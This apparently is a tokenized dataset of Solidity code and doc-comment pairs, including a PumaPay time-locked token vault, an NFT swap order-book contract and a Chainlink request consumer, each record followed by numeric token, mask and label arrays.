/// @param _owner Owner of the Vault.
/// @param _tokenAddress Token Address.
/// @param _intervals Intervals in days on which the vault will be unlocked.
/// @param _percentages Percentage of the tokens held by the vault that are unlocked over the specified intervals.
constructor(address _owner, PumaPayToken _tokenAddress, uint256[] _intervals, uint256[] _percentages)
public
validRequirements(_owner, _tokenAddress, _intervals, _percentages) {
lockedScheduleConstructed = false;
token = _tokenAddress;
owner = _owner;
intervals = _intervals;
percentages = _percentages;
}
// =================================================================================================================
// Public Functions
// =================================================================================================================
/// @dev Allows for withdrawing tokens from the vault - it can be executed only by the owner and only when the locked schedule is constructed
/// the vault must be ulocked, to hold the amount of tokens the owner requests and to be within the allowed token amount
/// The tokens are transfered to the owner account
/// @param _amountOfTokens - number of tokens to be withrawn
function withdrawTokens(uint256 _amountOfTokens)
public
onlyOwner()
lockedScheduleISConstructed()
isUnlocked()
validAmountOfTokens(_amountOfTokens) {
token.transfer(owner, _amountOfTokens);
amountOfTokensWithdrawn = amountOfTokensWithdrawn + _amountOfTokens;
amountOfTokensAllowedForWithdrawal = amountOfTokensAllowedForWithdrawal.sub(_amountOfTokens);
emit LogWithdraw(_amountOfTokens);
emit LogTokensAllowedForWithdrawal(amountOfTokensAllowedForWithdrawal);
}
/// @dev Sets the next withrawal details i.e. unclocked timestamp and amount of tokens can be executed only by the owner of the vault
/// and only after the lock schedule has been constructed and the vault is not locked
function setNextWithdrawalDetails()
public
onlyOwner()
isLocked()
lockedScheduleISConstructed() {
for (uint i = 0; i < lockSchedule.length; i++) {
if (lockSchedule[i].unlockStartTime > now) {
nextUnlockedTimestamp = lockSchedule[i].unlockStartTime;
amountOfTokensAllowedForWithdrawal = lockSchedule[i].unlockedAmount - amountOfTokensWithdrawn;
emit LogNextUnlockTimestamp(nextUnlockedTimestamp);
emit LogTokensAllowedForWithdrawal(amountOfTokensAllowedForWithdrawal);
return;
}
}
}
/// @dev Constructs the LockDownSchedule mapping only once and only if the vault holds tokens
/// can be executed only by the owner of the vault
function constructLockedDownSchedule()
public
onlyOwner()
hasTokens()
lockedScheduleNOTConstructed() {
for (uint i = 0; i < intervals.length; i++) {
lockSchedule.push(
LockScheduleDetails({
unlockStartTime: now + (intervals[i] * 24 * 60 * 60),
unlockedAmount: token.balanceOf(this) * percentages[i] / 100
})
);
}
amountOfTokensWithdrawn = 0;
nextUnlockedTimestamp = lockSchedule[0].unlockStartTime;
amountOfTokensAllowedForWithdrawal = lockSchedule[0].unlockedAmount;
lockedScheduleConstructed = true;
emit LogNextUnlockTimestamp(nextUnlockedTimestamp);
emit LogTokensAllowedForWithdrawal(amountOfTokensAllowedForWithdrawal);
}
function vaultIsUnlocked()
public
view
returns (bool) {
return (now > nextUnlockedTimestamp && now < nextUnlockedTimestamp + UNLOCKED_PERIOD);
}
// =================================================================================================================
// Internal Functions
// =================================================================================================================
/// Checks if the intervals specified in contract creation are valid
/// Valid means that each interval should be higher than the previous one and none should be zero
/// @param _intervals - array of intervals initiating the contract
function validIntervals(uint256[] _intervals)
internal
pure
returns(bool) {
uint256 previousInterval = 0;
for (uint i = 0; i < _intervals.length; i++) {
if (_intervals[i] <= 0 || _intervals[i] < previousInterval) {
return false;
}
previousInterval = _intervals[i];
}
return true;
}
/// Checks if the percentages specified in contract creation are valid
/// Valid means that each percentages should be higher than the previous one and none should be zero
/// Also the last value of the array should be 100, otherwise there will be locked tokens with no way of retrieving them
/// @param _percentages - array of percentages initiating the contract
function validPercentages(uint256[] _percentages)
internal
pure
lastValueOfArrayIs100(_percentages)
returns(bool) {
uint256 previousPercentage = 0;
for (uint i = 0; i < _percentages.length; i++) {
if (_percentages[i] <= 0 || _percentages[i] < previousPercentage) {
return false;
}
previousPercentage = _percentages[i];
}
return true;
}
}
| Checks if the intervals specified in contract creation are valid Valid means that each interval should be higher than the previous one and none should be zero @param _intervals - array of intervals initiating the contract | function validIntervals(uint256[] _intervals)
internal
pure
returns(bool) {
uint256 previousInterval = 0;
for (uint i = 0; i < _intervals.length; i++) {
if (_intervals[i] <= 0 || _intervals[i] < previousInterval) {
return false;
}
previousInterval = _intervals[i];
}
return true;
}
| 5,474,114 | [
1,
4081,
309,
326,
10389,
1269,
316,
6835,
6710,
854,
923,
2364,
4696,
716,
1517,
3673,
1410,
506,
10478,
2353,
326,
2416,
1245,
471,
6555,
1410,
506,
3634,
225,
389,
19812,
300,
526,
434,
10389,
1208,
22906,
326,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
923,
24224,
12,
11890,
5034,
8526,
389,
19812,
13,
203,
565,
2713,
203,
565,
16618,
203,
565,
1135,
12,
6430,
13,
288,
203,
3639,
2254,
5034,
2416,
4006,
273,
374,
31,
203,
3639,
364,
261,
11890,
277,
273,
374,
31,
277,
411,
389,
19812,
18,
2469,
31,
277,
27245,
288,
203,
5411,
309,
261,
67,
19812,
63,
77,
65,
1648,
374,
747,
389,
19812,
63,
77,
65,
411,
2416,
4006,
13,
288,
203,
7734,
327,
629,
31,
203,
5411,
289,
203,
5411,
2416,
4006,
273,
389,
19812,
63,
77,
15533,
203,
3639,
289,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.0;
import "../openzeppelin-contracts/contracts/token/ERC721/ERC721.sol";
contract Swap {
address payable public owner;
uint public offerCount;
bool public stopped = false;
uint public fee;
struct TradeOffer {
address payable offerer;
address payable asker;
uint[] offer;
uint[] ask;
address[] offerContract;
address[] askContract;
uint offerLength;
uint askLength;
uint offerVal;
uint askVal;
uint feePaid;
State state;
}
enum State {Active, Closed}
mapping(address => bool) public approvedERC721;
mapping(uint => TradeOffer) public offers;
mapping(address => uint[]) public offersByAddress;
mapping(address => uint) public offerCountByAddress;
mapping(address => uint[]) public offersCreatedByAddress;
mapping(address => uint) public offersCreatedCountByAddress;
event LogOfferAdded(uint offerAddedId, address indexed userAdded);
event LogOfferAccepted(uint offerAcceptedId, address indexed userAccepted);
event LogOfferCanceled(uint offerCanceledId, address indexed userCanceled);
event LogNFTApproval(address contractAddressApproved);
event LogNFTRemoval(address contractAddressRemoved);
event LogFeeChange(uint fee);
modifier onlyOwner (address _address) {require(_address == owner); _;}
modifier stopInEmergency {require(!stopped); _;}
modifier onlyInEmergency {require(stopped); _;}
constructor() public {
owner = msg.sender;
offerCount = 0;
fee = 0;
}
/// @dev Sets the fee in wei to be levied on each accept and offer creation.
/// @param _fee is fee in wei.
function setFee(uint _fee) public onlyOwner(msg.sender) {
emit LogFeeChange(_fee);
fee = _fee;
}
/// @dev Whitelists an NFT address for inclusion in offers.
/// @param _NFTContract is the nft contract's address.
function approveNFT(address _NFTContract) public onlyOwner(msg.sender) {
emit LogNFTApproval(_NFTContract);
approvedERC721[_NFTContract] = true;
}
/// @dev removes whitelisting of an NFT address.
/// @param _NFTContract is the nft contract's address.
function removeNFT(address _NFTContract) public onlyOwner(msg.sender) {
emit LogNFTRemoval(_NFTContract);
approvedERC721[_NFTContract] = false;
}
/// @dev Sets circuit breaker value.
/// @param _stopped Circuit breaker, true to pause contract and false to resume.
function setStopped(bool _stopped) public onlyOwner(msg.sender) {
stopped = _stopped;
}
/// @dev Creates an NFT trade offer in the Swap 'order book'.
/// @param _offer NFT ids of user offering to give away.
/// @param _offerContract contract addresses pertaining to the NFT ids in _offer.
/// @param _ask NFT ids that the user is asking to receive.
/// @param _askContract contract addresses pertaining to the NFT ids in _ask.
/// @param _offerVal Wei that user is including with their offer.
/// @param _askVal Wei that user is asking for in return.
/// @param _targetAddress address that user is attempting to trade with.
/// @return true if successful
function addOffer(uint[] memory _offer, address[] memory _offerContract
, uint[] memory _ask, address[] memory _askContract
, uint _offerVal, uint _askVal, address payable _targetAddress)
public payable stopInEmergency() returns (bool) {
require(_offer.length >= 1 || _ask.length >= 1, "Offer must include at least one NFT");
require(_offer.length == _offerContract.length, "NFT IDs (offer) array must be the same size as the contract array");
require(_ask.length == _askContract.length, "NFT IDs (ask) array must be the same size as the contract array");
require((_offerVal+fee) == msg.value, "Must include ETH to match offered ETH amount plus fee");
for(uint i = 0; i < _offer.length; i++) {
ERC721 con = ERC721(_offerContract[i]);
require(approvedERC721[_offerContract[i]], "One or more offered NFTs are not whitelisted NFT types");
require(con.ownerOf(_offer[i]) == msg.sender, "Offerer does not own NFT");
require(con.isApprovedForAll(msg.sender, address(this)), "Offerer has not approved the contract to send NFTs");
}
for(uint i = 0; i < _ask.length; i++) {
require(approvedERC721[_askContract[i]], "One or more asked NFTs are not whitelisted NFT types");
}
emit LogOfferAdded(offerCount, msg.sender);
offersByAddress[_targetAddress].push(offerCount);
offerCountByAddress[_targetAddress] = offerCountByAddress[_targetAddress]+1;
offersCreatedByAddress[msg.sender].push(offerCount);
offersCreatedCountByAddress[msg.sender] = offersCreatedCountByAddress[msg.sender]+1;
offers[offerCount] = TradeOffer({offerer: msg.sender
, asker: _targetAddress
, offer: _offer
, offerContract:_offerContract
, ask: _ask
, askContract:_askContract
, offerLength:_offer.length
, askLength:_ask.length
, offerVal: _offerVal
, askVal:_askVal
, feePaid:fee
, state: State.Active});
offerCount = offerCount + 1;
return true;
}
/// @dev Accepts and executes an already existing offer in the 'order book'.
/// @param _offerId uint ID of the offer that the user wants to accept.
function acceptOffer(uint _offerId) public payable stopInEmergency() returns (bool) {
require(offers[_offerId].offerer != 0x0000000000000000000000000000000000000000, "Offerer must not be the burn address");
require(offers[_offerId].state == State.Active, "Offer must be active");
offers[_offerId].state = State.Closed;
require(offers[_offerId].asker == msg.sender, "Offer can only be accepted by intended recipient");
require((offers[_offerId].askVal+fee) == msg.value, "Must include required ETH amount for offer and fee");
for(uint i = 0; i < offers[_offerId].ask.length; i++) {
ERC721 con = ERC721(offers[_offerId].askContract[i]);
require(con.ownerOf(offers[_offerId].ask[i]) == msg.sender, "User attempting to accept offer without owning the NFTs");
require(con.isApprovedForAll(msg.sender, address(this)), "User accepting offer has not approved the contract to send NFTs");
con.safeTransferFrom(msg.sender, offers[_offerId].offerer, offers[_offerId].ask[i]);
}
for(uint i = 0; i < offers[_offerId].offer.length; i++) {
ERC721 con = ERC721(offers[_offerId].offerContract[i]);
require(con.ownerOf(offers[_offerId].offer[i]) == offers[_offerId].offerer, "User attempting to accept offer that offerer cannot fulfill");
require(con.isApprovedForAll(offers[_offerId].offerer, address(this)), "Original offerer no longer has transfer enabled for this NFT contract");
con.safeTransferFrom(offers[_offerId].offerer, msg.sender, offers[_offerId].offer[i]);
}
if(offers[_offerId].offerVal > 0) {
offers[_offerId].asker.transfer(offers[_offerId].offerVal);
}
if(offers[_offerId].askVal > 0) {
offers[_offerId].offerer.transfer(msg.value);
}
owner.transfer(fee+offers[_offerId].feePaid);
emit LogOfferAccepted(_offerId, msg.sender);
}
/// @dev Cancels an offer by setting the state to Closed.
/// @param _offerId uint ID of the offer that the user wants to cancel.
function cancelOffer(uint _offerId) public stopInEmergency() returns (bool) {
require(offers[_offerId].offerer == msg.sender || offers[_offerId].asker == msg.sender, "Only the offerer can cancel an offer");
require(offers[_offerId].state == State.Active, "This offer is already closed");
offers[_offerId].state = State.Closed;
offers[_offerId].offerer.transfer(offers[_offerId].offerVal+offers[_offerId].feePaid);
emit LogOfferCanceled(_offerId, msg.sender);
}
/// @dev returns NFT ID within an offer's offer array given offer ID and array index.
/// @param _offerId uint ID of the offer user is querying.
/// @param index array index of offerId being queried.
/// @return NFT ID within offer array.
function getOfferFromOffer(uint _offerId, uint _index) public view returns (uint) {
TradeOffer memory off = offers[_offerId];
return off.offer[_index];
}
/// @dev returns NFT ID within an offer's ask array given offer ID and array index.
/// @param _offerId uint ID of the offer user is querying.
/// @param index array index of offerId being queried.
/// @return NFT ID within ask array.
function getOfferFromAsk(uint _offerId, uint _index) public view returns (uint) {
TradeOffer memory off = offers[_offerId];
return off.ask[_index];
}
/// @dev returns number of NFTs in an Offers offer.
/// @param _offerId uint ID of the offer user is querying.
/// @return length of offer array in an offer.
function getOfferLengthFromOffer(uint _offerId) public view returns (uint) {
TradeOffer memory off = offers[_offerId];
return off.offerLength;
}
/// @dev returns number of NFTs in an Offers ask.
/// @param _offerId uint ID of the offer user is querying.
/// @return length of ask array in an offer.
function getOfferLengthFromAsk(uint _offerId) public view returns (uint) {
TradeOffer memory off = offers[_offerId];
return off.askLength;
}
/// @dev returns NFT Contract address within an offer's offer array given offer ID and array index.
/// @param _offerId uint ID of the offer user is querying.
/// @param index array index of offerId being queried.
/// @return NFT Contract address within offer array.
function getContractFromOffer(uint _offerId, uint _index) public view returns (address) {
TradeOffer memory off = offers[_offerId];
return off.offerContract[_index];
}
/// @dev returns NFT Contract address within an offer's ask array given offer ID and array index.
/// @param _offerId uint ID of the offer user is querying.
/// @param index array index of offerId being queried.
/// @return NFT Contract address within ask array.
function getContractFromAsk(uint _offerId, uint _index) public view returns (address) {
TradeOffer memory off = offers[_offerId];
return off.askContract[_index];
}
/// @dev returns true or false (corresponding to whether offer is active or not) given an offer ID.
/// @param _offerId uint ID of the offer user is querying.
/// @return true if active and acceptable, false if closed
function getOfferState(uint _offerId) public view returns (bool) {
TradeOffer memory off = offers[_offerId];
if (off.state == State.Active) {
return true;
} else {
return false;
}
}
/// @dev returns eth ask in wei for a given offer.
/// @param _offerId uint ID of the offer user is querying.
/// @return eth amount in wei that the user who created the trade is asking for.
function getOfferAskVal(uint _offerId) public view returns (uint) {
TradeOffer memory off = offers[_offerId];
return off.askVal;
}
/// @dev returns eth offer in wei for a given offer.
/// @param _offerId uint ID of the offer user is querying.
/// @return eth amount in wei that the user who created the trade is offering.
function getOfferOffVal(uint _offerId) public view returns (uint) {
TradeOffer memory off = offers[_offerId];
return off.offerVal;
}
/// @dev returns eth fee in wei.
/// @return eth amount in wei that the contract charges per transaction (accept and offer creation only).
function getFee() public view returns (uint) {
return fee;
}
} | @dev Creates an NFT trade offer in the Swap 'order book'. @param _offer NFT ids of user offering to give away. @param _offerContract contract addresses pertaining to the NFT ids in _offer. @param _ask NFT ids that the user is asking to receive. @param _askContract contract addresses pertaining to the NFT ids in _ask. @param _offerVal Wei that user is including with their offer. @param _askVal Wei that user is asking for in return. @param _targetAddress address that user is attempting to trade with. @return true if successful | function addOffer(uint[] memory _offer, address[] memory _offerContract
, uint[] memory _ask, address[] memory _askContract
, uint _offerVal, uint _askVal, address payable _targetAddress)
public payable stopInEmergency() returns (bool) {
require(_offer.length >= 1 || _ask.length >= 1, "Offer must include at least one NFT");
require(_offer.length == _offerContract.length, "NFT IDs (offer) array must be the same size as the contract array");
require(_ask.length == _askContract.length, "NFT IDs (ask) array must be the same size as the contract array");
require((_offerVal+fee) == msg.value, "Must include ETH to match offered ETH amount plus fee");
for(uint i = 0; i < _offer.length; i++) {
ERC721 con = ERC721(_offerContract[i]);
require(approvedERC721[_offerContract[i]], "One or more offered NFTs are not whitelisted NFT types");
require(con.ownerOf(_offer[i]) == msg.sender, "Offerer does not own NFT");
require(con.isApprovedForAll(msg.sender, address(this)), "Offerer has not approved the contract to send NFTs");
}
for(uint i = 0; i < _ask.length; i++) {
require(approvedERC721[_askContract[i]], "One or more asked NFTs are not whitelisted NFT types");
}
emit LogOfferAdded(offerCount, msg.sender);
offersByAddress[_targetAddress].push(offerCount);
offerCountByAddress[_targetAddress] = offerCountByAddress[_targetAddress]+1;
offersCreatedByAddress[msg.sender].push(offerCount);
offersCreatedCountByAddress[msg.sender] = offersCreatedCountByAddress[msg.sender]+1;
offers[offerCount] = TradeOffer({offerer: msg.sender
, asker: _targetAddress
, offer: _offer
, offerContract:_offerContract
, ask: _ask
, askContract:_askContract
, offerLength:_offer.length
, askLength:_ask.length
, offerVal: _offerVal
, askVal:_askVal
, feePaid:fee
, state: State.Active});
offerCount = offerCount + 1;
return true;
}
| 12,972,583 | [
1,
2729,
392,
423,
4464,
18542,
10067,
316,
326,
12738,
296,
1019,
6978,
10332,
225,
389,
23322,
423,
4464,
3258,
434,
729,
10067,
310,
358,
8492,
10804,
18,
225,
389,
23322,
8924,
6835,
6138,
24445,
3280,
358,
326,
423,
4464,
3258,
316,
389,
23322,
18,
225,
389,
835,
423,
4464,
3258,
716,
326,
729,
353,
29288,
358,
6798,
18,
225,
389,
835,
8924,
6835,
6138,
24445,
3280,
358,
326,
423,
4464,
3258,
316,
389,
835,
18,
225,
389,
23322,
3053,
1660,
77,
716,
729,
353,
6508,
598,
3675,
10067,
18,
225,
389,
835,
3053,
1660,
77,
716,
729,
353,
29288,
364,
316,
327,
18,
225,
389,
3299,
1887,
1758,
716,
729,
353,
15600,
358,
18542,
598,
18,
327,
638,
309,
6873,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
527,
10513,
12,
11890,
8526,
3778,
389,
23322,
16,
1758,
8526,
3778,
389,
23322,
8924,
203,
10792,
269,
2254,
8526,
3778,
389,
835,
16,
1758,
8526,
3778,
389,
835,
8924,
203,
10792,
269,
2254,
389,
23322,
3053,
16,
2254,
389,
835,
3053,
16,
1758,
8843,
429,
389,
3299,
1887,
13,
7010,
10792,
1071,
8843,
429,
2132,
382,
1514,
24530,
1435,
1135,
261,
6430,
13,
288,
203,
203,
3639,
2583,
24899,
23322,
18,
2469,
1545,
404,
747,
389,
835,
18,
2469,
1545,
404,
16,
315,
10513,
1297,
2341,
622,
4520,
1245,
423,
4464,
8863,
203,
3639,
2583,
24899,
23322,
18,
2469,
422,
389,
23322,
8924,
18,
2469,
16,
315,
50,
4464,
7115,
261,
23322,
13,
526,
1297,
506,
326,
1967,
963,
487,
326,
6835,
526,
8863,
203,
3639,
2583,
24899,
835,
18,
2469,
422,
389,
835,
8924,
18,
2469,
16,
315,
50,
4464,
7115,
261,
835,
13,
526,
1297,
506,
326,
1967,
963,
487,
326,
6835,
526,
8863,
203,
3639,
2583,
12443,
67,
23322,
3053,
15,
21386,
13,
422,
1234,
18,
1132,
16,
315,
10136,
2341,
512,
2455,
358,
845,
10067,
329,
512,
2455,
3844,
8737,
14036,
8863,
203,
3639,
364,
12,
11890,
277,
273,
374,
31,
277,
411,
389,
23322,
18,
2469,
31,
277,
27245,
288,
203,
5411,
4232,
39,
27,
5340,
356,
273,
4232,
39,
27,
5340,
24899,
23322,
8924,
63,
77,
19226,
203,
5411,
2583,
12,
25990,
654,
39,
27,
5340,
63,
67,
23322,
8924,
63,
77,
65,
6487,
315,
3335,
578,
1898,
10067,
329,
423,
4464,
87,
854,
486,
2
] |
./full_match/42/0xD58664996535246209F595Ecd4c0413FF254bD4a/sources/docs.chain.link/samples/APIRequests/MultiWordConsumer.sol | * @notice Request mutiple parameters from the oracle in a single transaction @param specId bytes32 representation of the jobId in the Oracle @param payment uint256 cost of request in LINK (JUELS)/ | function requestMultipleParameters(
bytes32 specId,
uint256 payment
)
public
{
Chainlink.Request memory req = buildChainlinkRequest(specId, address(this), this.fulfillMultipleParameters.selector);
req.addUint("times", 10000);
requestOracleData(req, payment);
}
event RequestMultipleFulfilled(
bytes32 indexed requestId,
uint256 indexed usd,
uint256 indexed eur,
uint256 jpy
);
| 16,259,097 | [
1,
691,
4318,
2444,
1472,
628,
326,
20865,
316,
279,
2202,
2492,
225,
857,
548,
1731,
1578,
4335,
434,
326,
13845,
316,
326,
28544,
225,
5184,
2254,
5034,
6991,
434,
590,
316,
22926,
261,
46,
1821,
3045,
13176,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
590,
8438,
2402,
12,
203,
565,
1731,
1578,
857,
548,
16,
203,
565,
2254,
5034,
5184,
203,
225,
262,
203,
565,
1071,
203,
225,
288,
203,
565,
7824,
1232,
18,
691,
3778,
1111,
273,
1361,
3893,
1232,
691,
12,
2793,
548,
16,
1758,
12,
2211,
3631,
333,
18,
2706,
5935,
8438,
2402,
18,
9663,
1769,
203,
565,
1111,
18,
1289,
5487,
2932,
8293,
3113,
12619,
1769,
203,
565,
590,
23601,
751,
12,
3658,
16,
5184,
1769,
203,
225,
289,
203,
203,
225,
871,
1567,
8438,
23747,
13968,
12,
203,
565,
1731,
1578,
8808,
14459,
16,
203,
565,
2254,
5034,
8808,
584,
72,
16,
203,
565,
2254,
5034,
8808,
425,
295,
16,
203,
565,
2254,
5034,
525,
2074,
203,
225,
11272,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0xf4f036a18961f7Ab421145bac1f27f0F73BFb643/sources/contracts/Company.sol | pop out the last item | company[_companyAddress].roleKeys.pop();
| 5,596,757 | [
1,
5120,
596,
326,
1142,
761,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
9395,
63,
67,
16840,
1887,
8009,
4615,
2396,
18,
5120,
5621,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
